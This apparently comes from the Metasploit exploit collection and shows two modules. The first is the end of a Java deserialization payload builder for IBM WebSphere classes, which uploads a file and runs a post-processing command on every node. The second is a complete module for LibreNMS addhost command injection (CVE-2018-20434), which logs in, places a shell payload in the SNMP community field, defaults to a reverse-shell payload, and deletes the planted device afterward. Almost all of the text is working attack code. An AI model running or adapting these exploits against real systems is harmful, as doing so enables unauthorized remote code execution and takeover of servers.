    obj.class_data << Rex::Java::Serialization::Model::NullReference.new
    obj.class_data << Rex::Java::Serialization::Model::Utf.new(nil, rand(0xffffffffffff).to_s) # Cell Name

    msg_class_desc
  end

  def build_hashtable_class(obj)
    # Create the integer field and add the reference
    load_field = Rex::Java::Serialization::Model::Field.new
    load_field.type = 'float'
    load_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'loadFactor')

    # Create the integer field and add the reference
    threshold_field = Rex::Java::Serialization::Model::Field.new
    threshold_field.type = 'int'
    threshold_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'threshold')

    # Create the class description
    msg_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
    msg_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.util.Hashtable')
    msg_class_desc.serial_version = 0x13BB0F25214AE4B8
    msg_class_desc.flags = 3
    msg_class_desc.fields = []
    msg_class_desc.fields << load_field
    msg_class_desc.fields << threshold_field

    # Add annotations
    msg_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
    msg_class_desc.class_annotation.contents = [Rex::Java::Serialization::Model::EndBlockData.new]

    # Add superclass
    msg_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
    msg_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new

    obj.class_data << ['float', 0.75]
    obj.class_data << ['int', 8]
    obj.class_data << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x0b\x00\x00\x00\x03")

    msg_class_desc
  end

  def build_properties_class
    # Create the object
    object = Rex::Java::Serialization::Model::NewObject.new
    object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new

    msg_obj = build_hashtable_class(object)

    # Create the field ref
    field_ref = Rex::Java::Serialization::Model::Reference.new
    field_ref.handle = Rex::Java::Serialization::BASE_WIRE_HANDLE + 9

    # Create the integer field and add the reference
    defaults_field = Rex::Java::Serialization::Model::Field.new
    defaults_field.type = 'object'
    defaults_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'defaults')
    defaults_field.field_type = field_ref

    # Create the class description
    msg_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
    msg_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.util.Properties')
    msg_class_desc.serial_version = 0x3912D07A70363E98
    msg_class_desc.flags = 2
    msg_class_desc.fields = []
    msg_class_desc.fields << defaults_field

    # Add annotations
    msg_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
    msg_class_desc.class_annotation.contents = [Rex::Java::Serialization::Model::EndBlockData.new]

    # Add superclass
    msg_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
    msg_class_desc.super_class.description = msg_obj

    # Set the member values
    object.class_desc.description = msg_class_desc

    object.class_data << Rex::Java::Serialization::Model::Utf.new(nil, 'memberName')
    object.class_data << Rex::Java::Serialization::Model::Utf.new(nil, rand(0xffffffffffff).to_s) # Cell Name
    object.class_data << Rex::Java::Serialization::Model::Utf.new(nil, 'inOdc')
    object.class_data << Rex::Java::Serialization::Model::Utf.new(nil, '0')
    object.class_data << Rex::Java::Serialization::Model::Utf.new(nil, 'epoch')
    object.class_data << Rex::Java::Serialization::Model::Utf.new(nil, (Time.now.to_f * 1000).to_i.to_s)

    object
  end

  def build_p2p_node_class(obj)
    msg_obj = build_app_node_class(obj)

    # Create the field ref
    field_ref = Rex::Java::Serialization::Model::Reference.new
    field_ref.handle = Rex::Java::Serialization::BASE_WIRE_HANDLE + 1

    # Create the data field and add the reference
    data_field = Rex::Java::Serialization::Model::Field.new
    data_field.type = 'array'
    data_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'data')
    data_field.field_type = field_ref

    # Create the object field and add the reference
    prop_field = Rex::Java::Serialization::Model::Field.new
    prop_field.type = 'object'
    prop_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'properties')
    prop_field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, 'Ljava/util/Properties;')

    # Create the class description
    msg_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
    msg_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'com.ibm.ws.wsgroup.p2p.P2PShimNodeProperty')
    msg_class_desc.serial_version = 2
    msg_class_desc.flags = 2
    msg_class_desc.fields = []
    msg_class_desc.fields << data_field
    msg_class_desc.fields << prop_field

    # Add annotations
    msg_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
    msg_class_desc.class_annotation.contents = [Rex::Java::Serialization::Model::EndBlockData.new]

    # Add superclass
    msg_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
    msg_class_desc.super_class.description = msg_obj

    # Create the byte array ref
    field_ref = Rex::Java::Serialization::Model::Reference.new
    field_ref.handle = Rex::Java::Serialization::BASE_WIRE_HANDLE + 6

    # Construct IP Array
    byte_array = Rex::Java::Serialization::Model::NewArray.new
    byte_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
    byte_array.array_description.description = field_ref
    byte_array.type = "byte"
    byte_array.values = []

    # Set the member values
    obj.class_data << byte_array

    # Add properties
    obj.class_data << build_properties_class

    msg_class_desc
  end

  def build_upfile_arg_class(filename, bytes, cmd)
    # Create the field ref
    field_ref = Rex::Java::Serialization::Model::Reference.new
    field_ref.handle = Rex::Java::Serialization::BASE_WIRE_HANDLE + 1

    # Create the integer field and add the reference
    filename_field = Rex::Java::Serialization::Model::Field.new
    filename_field.type = 'object'
    filename_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'fileName')
    filename_field.field_type = field_ref

    # Create the field ref
    field_ref = Rex::Java::Serialization::Model::Reference.new
    field_ref.handle = Rex::Java::Serialization::BASE_WIRE_HANDLE + 4

    # Create the integer field and add the reference
    filebody_field = Rex::Java::Serialization::Model::Field.new
    filebody_field.type = 'array'
    filebody_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'fileBody')
    filebody_field.field_type = field_ref

    # Create the field ref
    field_ref = Rex::Java::Serialization::Model::Reference.new
    field_ref.handle = Rex::Java::Serialization::BASE_WIRE_HANDLE + 1

    # Create the object field and add the reference
    post_cmd_field = Rex::Java::Serialization::Model::Field.new
    post_cmd_field.type = 'object'
    post_cmd_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'postProcCmd')
    post_cmd_field.field_type = field_ref

    # Create the class description
    msg_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
    msg_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'com.ibm.son.plugin.UploadFileArgument')
    msg_class_desc.serial_version = 1
    msg_class_desc.flags = 2
    msg_class_desc.fields = []
    msg_class_desc.fields << filebody_field
    msg_class_desc.fields << filename_field
    msg_class_desc.fields << post_cmd_field

    # Add annotations
    msg_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
    msg_class_desc.class_annotation.contents = [Rex::Java::Serialization::Model::EndBlockData.new]

    # Add superclass
    msg_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
    msg_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new

    # Create the byte array ref
    field_ref = Rex::Java::Serialization::Model::Reference.new
    field_ref.handle = Rex::Java::Serialization::BASE_WIRE_HANDLE + 7

    # Construct IP Array
    byte_array = Rex::Java::Serialization::Model::NewArray.new
    byte_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
    byte_array.array_description.description = field_ref
    byte_array.type = "byte"
    byte_array.values = bytes

    # Set the member values
    object = Rex::Java::Serialization::Model::NewObject.new
    object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
    object.class_desc.description = msg_class_desc
    object.class_data << byte_array
    object.class_data << Rex::Java::Serialization::Model::Utf.new(nil, filename)
    object.class_data << Rex::Java::Serialization::Model::Utf.new(nil, cmd)

    object
  end

  def build_bcast_run_task_msg(obj, msg_type, source_ip, source_port, upfile_arg_obj)
    msg_obj = build_bcast_flood_msg(obj, msg_type, source_ip, source_port)

    # Create the integer field and add the reference
    out_int_field = Rex::Java::Serialization::Model::Field.new
    out_int_field.type = 'int'
    out_int_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'outputGatherInterval')

    # Create the task object field and add field_type
    task_field = Rex::Java::Serialization::Model::Field.new
    task_field.type = 'object'
    task_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'task')
    task_field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, "Ljava/lang/String;")

    # Create the task object field and add field_type
    task_arg_field = Rex::Java::Serialization::Model::Field.new
    task_arg_field.type = 'object'
    task_arg_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'taskArgument')
    task_arg_field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, "Ljava/io/Serializable;")

    # Create the integer field and add the reference
    forward_gather_field = Rex::Java::Serialization::Model::Field.new
    forward_gather_field.type = 'int'
    forward_gather_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'forwardGatheredDataPipelinePeriod')

    # Create the class description
    msg_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
    msg_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'com.ibm.son.plugin.BcastMsgRunTask')
    msg_class_desc.serial_version = 1
    msg_class_desc.flags = 2
    msg_class_desc.fields = []
    msg_class_desc.fields << forward_gather_field
    msg_class_desc.fields << out_int_field
    msg_class_desc.fields << task_field
    msg_class_desc.fields << task_arg_field

    # Add annotations
    msg_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
    msg_class_desc.class_annotation.contents = [Rex::Java::Serialization::Model::EndBlockData.new]

    # Add superclass
    msg_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
    msg_class_desc.super_class.description = msg_obj

    # Set the member values
    obj.class_data << ['int', 0]
    obj.class_data << ['int', 1]
    obj.class_data << Rex::Java::Serialization::Model::Utf.new(nil, 'com.ibm.son.plugin.UploadFileToAllNodes')
    obj.class_data << upfile_arg_obj

    msg_class_desc
  end
end
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'LibreNMS addhost Command Injection',
      'Description'    => %q(
         This module exploits a command injection vulnerability in the open source
         network management software known as LibreNMS. The community parameter used
         in a POST request to the addhost functionality is unsanitized. This parameter
         is later used as part of a shell command that gets passed to the popen function
         in capture.inc.php, which can result in execution of arbitrary code.

         This module requires authentication to LibreNMS first.
      ),
      'License'        => MSF_LICENSE,
      'Author'         =>
      [
        'mhaskar',       # Vulnerability discovery and PoC
        'Shelby Pace'    # Metasploit module
      ],
      'References'     =>
        [
          [ 'CVE', '2018-20434' ],
          [ 'URL', 'https://shells.systems/librenms-v1-46-remote-code-execution-cve-2018-20434/' ],
          [ 'URL', 'https://gist.github.com/mhaskar/516df57aafd8c6e3a1d70765075d372d' ]
        ],
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          [ 'Linux',
            {
              'Platform' => 'unix',
              'DefaultOptions'  =>  { 'Payload' =>  'cmd/unix/reverse' }
            }
          ]
        ],
      'DisclosureDate' => '2018-12-16',
      'DefaultTarget'  => 0
    ))

    register_options(
    [
      OptString.new('TARGETURI', [ true, 'Base LibreNMS path', '/' ]),
      OptString.new('USERNAME', [ true, 'User name for LibreNMS', '' ]),
      OptString.new('PASSWORD', [ true, 'Password for LibreNMS', '' ])
    ])
  end

  def login
    login_uri = normalize_uri(target_uri.path, 'login')
    res = send_request_cgi('method' =>  'GET', 'uri'  =>  login_uri)
    fail_with(Failure::NotFound, 'Failed to access the login page') unless res && res.code == 200

    cookies = res.get_cookies

    login_res = send_request_cgi(
      'method'    =>  'POST',
      'uri'       =>  login_uri,
      'cookie'    =>  cookies,
      'vars_post' =>
      {
        'username'  =>  datastore['USERNAME'],
        'password'  =>  datastore['PASSWORD']
      }
    )

    fail_with(Failure::NoAccess, 'Failed to submit credentials to login page') unless login_res && login_res.code == 302

    cookies = login_res.get_cookies
    res = send_request_cgi('method' =>  'GET', 'uri'  =>  normalize_uri(target_uri.path), 'cookie' =>  cookies)
    fail_with(Failure::NoAccess, 'Failed to log into LibreNMS') unless res && res.code == 200 && res.body.include?('Devices')

    print_status('Successfully logged into LibreNMS. Storing credentials...')
    store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
    login_res.get_cookies
  end

  def add_device(cookies)
    add_uri = normalize_uri(target_uri.path, 'addhost')
    @hostname = Rex::Text.rand_text_alpha(6...12)
    comm_payload = "'; #{payload.encoded}#'"

    res = send_request_cgi(
      'method'    =>  'POST',
      'uri'       =>  add_uri,
      'cookie'    =>  cookies,
      'vars_post'  =>
      {
        'snmp'            =>  'on',
        'force_add'       =>  'on',
        'snmpver'         =>  'v2c',
        'hostname'        =>  @hostname,
        'community'       =>  comm_payload,
        'authalgo'        =>  'MD5',
        'cryptoalgo'      =>  'AES',
        'transport'       =>  'udp',
        'port_assoc_mode' =>  'ifIndex'
      }
    )

    fail_with(Failure::NotFound, 'Failed to add device') unless res && res.body.include?('Device added')
    print_good("Successfully added device with hostname #{@hostname}")

    host_id = res.get_html_document.search('div[@class="alert alert-success"]/a[@href]').text
    fail_with(Failure::NotFound, "Couldn't retrieve the id for the device") if host_id.empty?
    host_id = host_id.match(/(\d+)/).nil? ? nil : host_id.match(/(\d+)/)

    fail_with(Failure::NotFound, 'Failed to retrieve a valid device id') if host_id.nil?

    host_id
  end

  def del_device(id, cookies)
    del_uri = normalize_uri(target_uri.path, 'delhost')
    res = send_request_cgi(
      'method'    =>  'POST',
      'uri'       =>  del_uri,
      'cookie'    =>  cookies,
      'vars_post' =>
      {
        'id'      =>  id,
        'confirm' =>  1
      }
    )

    print_status('Unsure if device was deleted. No response received') unless res

    if res.body.include?("Removed device #{@hostname.downcase}")
      print_good("Successfully deleted device with hostname #{@hostname} and id ##{id}")
    else
      print_status('Failed to delete device. Manual deletion may be needed')
    end
  end

  def exploit
    exp_uri = normalize_uri(target_uri.path, 'ajax_output.php')
    cookies = login

    host_id = add_device(cookies)
    send_request_cgi(
      'method'    =>  'GET',
      'uri'       =>  exp_uri,
      'cookie'    =>  cookies,
      'vars_get'  =>
      {
        'id'        =>  'capture',
        'format'    =>  'text',
        'type'      =>  'snmpwalk',
        'hostname'  =>  @hostname
      }
    )

    del_device(host_id, cookies)
  end
end